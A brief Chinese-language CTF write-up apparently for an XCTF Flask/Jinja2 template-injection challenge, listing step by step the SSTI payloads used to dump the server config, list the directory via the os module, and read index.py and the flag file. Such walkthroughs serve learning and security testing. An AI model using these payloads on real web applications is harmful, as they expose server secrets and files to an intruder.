xctf_python_template_injection

[目标]
Python模板注入
[环境]
Windows
[工具]
浏览器
[分析]
1.根据题目可看出是python的模板注入

发现执行此命令，因此是SSTI
2.利用{{}}来查看服务器配置
命令{{config.items()}}

3.执行命令，查看目录
os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。这个列表以字母顺序。 它不包括 ‘.’ 和’…’ 即使它在文件夹中。
只支持在 Unix, Windows 下使用。
使用python的魔法方法命令直接查询目录
命令：{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

找到两个文件名
4.查看文件index.py
命令：{{''.__class__.__mro__[2].__subclasses__()[40]('index.py').read()}}

Flask是一个微型的 Python 开发的 Web 框架，基于Werkzeug WSGI工具箱和Jinja2 模板引擎。

*查看文件fl4g
命令：{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
这里必须是40，因为这是object类的一个文件子类

得到flag。

关于python的魔术方法payload可具体查看
https://xuanxuanblingbling.github.io/ctf/web/2019/01/02/python/